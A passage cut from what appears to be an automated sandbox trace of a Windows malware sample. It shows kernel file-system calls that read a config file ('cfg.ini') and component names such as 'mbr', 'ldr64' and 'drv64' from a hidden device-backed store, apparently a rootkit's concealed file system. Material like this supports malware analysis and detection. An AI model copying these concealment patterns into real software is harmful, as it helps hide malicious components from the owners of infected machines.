_Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.756] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.756] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.756] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cfe00 [0117.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.756] KeLeaveCriticalRegion () [0117.756] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.756] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.756] KeEnterCriticalRegion () [0117.756] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.756] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.757] KeLeaveCriticalRegion () [0117.757] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.757] KeEnterCriticalRegion () [0117.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.757] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.757] IdePortDispatch () returned 0x103 [0117.757] KeWaitForMutexObject () returned 0x0 [0117.757] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.757] KeLeaveCriticalRegion () [0117.757] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.757] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.757] KeEnterCriticalRegion () [0117.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.757] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfd000 [0117.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.757] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.757] IdePortDispatch () returned 0x103 [0117.758] KeWaitForMutexObject () returned 0x0 [0117.758] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.758] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.758] IdePortDispatch () returned 0x103 [0117.758] KeWaitForMutexObject () returned 0x0 [0117.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.758] KeLeaveCriticalRegion () [0117.758] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.759] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.759] KeEnterCriticalRegion () [0117.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.759] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.759] KeLeaveCriticalRegion () [0117.759] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.759] KeEnterCriticalRegion () [0117.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.759] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.759] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.759] KeLeaveCriticalRegion () [0117.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.759] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.759] KeEnterCriticalRegion () [0117.759] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.759] ExFreePoolWithTag (P=0xfffffa80039cfe00, Tag=0x0) [0117.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.759] KeLeaveCriticalRegion () [0117.759] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.759] ReleaseMutex (hMutex=0xf0) returned 1 [0117.759] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.760] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.760] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.760] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.760] KeEnterCriticalRegion () [0117.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.760] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.760] IdePortDispatch () returned 0x103 [0117.760] KeWaitForMutexObject () returned 0x0 [0117.760] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.760] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.760] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.760] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.760] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.760] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.760] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.760] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.760] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.760] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.760] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.760] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.760] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.760] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.761] KeLeaveCriticalRegion () [0117.761] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.761] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.761] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.761] KeEnterCriticalRegion () [0117.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.761] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.761] IdePortDispatch () returned 0x103 [0117.761] KeWaitForMutexObject () returned 0x0 [0117.761] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.761] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.761] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.761] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.761] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.761] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.761] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.761] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.761] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.761] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.761] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.762] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.762] KeLeaveCriticalRegion () [0117.762] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.762] ReleaseMutex (hMutex=0x100) returned 1 [0117.762] Sleep (dwMilliseconds=0x2bf20) [0117.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x696383b0, dwHighDateTime=0x1d24fa4)) [0117.770] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.770] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.770] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.770] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.770] KeEnterCriticalRegion () [0117.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.771] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.771] IdePortDispatch () returned 0x103 [0117.771] KeWaitForMutexObject () returned 0x0 [0117.771] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.771] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.771] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.771] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.771] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.771] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6aa0 [0117.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.771] KeLeaveCriticalRegion () [0117.771] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.771] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.771] KeEnterCriticalRegion () [0117.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.771] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.771] KeLeaveCriticalRegion () [0117.771] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.771] KeEnterCriticalRegion () [0117.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.772] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.772] IdePortDispatch () returned 0x103 [0117.772] KeWaitForMutexObject () returned 0x0 [0117.772] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.772] KeLeaveCriticalRegion () [0117.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.772] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.772] KeEnterCriticalRegion () [0117.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.772] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d00000 [0117.772] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.772] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.772] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.772] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.772] IdePortDispatch () returned 0x103 [0117.773] KeWaitForMutexObject () returned 0x0 [0117.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.773] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.773] IdePortDispatch () returned 0x103 [0117.773] KeWaitForMutexObject () returned 0x0 [0117.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.773] KeLeaveCriticalRegion () [0117.773] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.774] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.774] KeEnterCriticalRegion () [0117.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.774] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.774] KeLeaveCriticalRegion () [0117.774] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.774] KeEnterCriticalRegion () [0117.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.774] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.774] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6900, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.774] KeLeaveCriticalRegion () [0117.774] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.774] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.774] KeEnterCriticalRegion () [0117.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.774] ExFreePoolWithTag (P=0xfffffa8003aa6aa0, Tag=0x0) [0117.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.774] KeLeaveCriticalRegion () [0117.774] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.774] ReleaseMutex (hMutex=0xf0) returned 1 [0117.774] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.774] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.775] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.775] KeEnterCriticalRegion () [0117.775] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.775] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.775] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.775] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.775] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.775] IdePortDispatch () returned 0x103 [0117.775] KeWaitForMutexObject () returned 0x0 [0117.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.777] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.777] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.777] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.777] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.777] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daf10 [0117.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.777] KeLeaveCriticalRegion () [0117.777] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.777] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.777] KeEnterCriticalRegion () [0117.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.777] KeLeaveCriticalRegion () [0117.777] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.777] KeEnterCriticalRegion () [0117.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.777] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.777] IdePortDispatch () returned 0x103 [0117.778] KeWaitForMutexObject () returned 0x0 [0117.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.778] KeLeaveCriticalRegion () [0117.778] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.778] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.778] KeEnterCriticalRegion () [0117.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d21000 [0117.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.778] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.778] IdePortDispatch () returned 0x103 [0117.778] KeWaitForMutexObject () returned 0x0 [0117.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa80039d6bf0 [0117.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.778] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.778] IdePortDispatch () returned 0x103 [0117.779] KeWaitForMutexObject () returned 0x0 [0117.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.779] KeLeaveCriticalRegion () [0117.779] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.779] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.779] KeEnterCriticalRegion () [0117.779] ExAcquireFastMutexUnsafe (in: 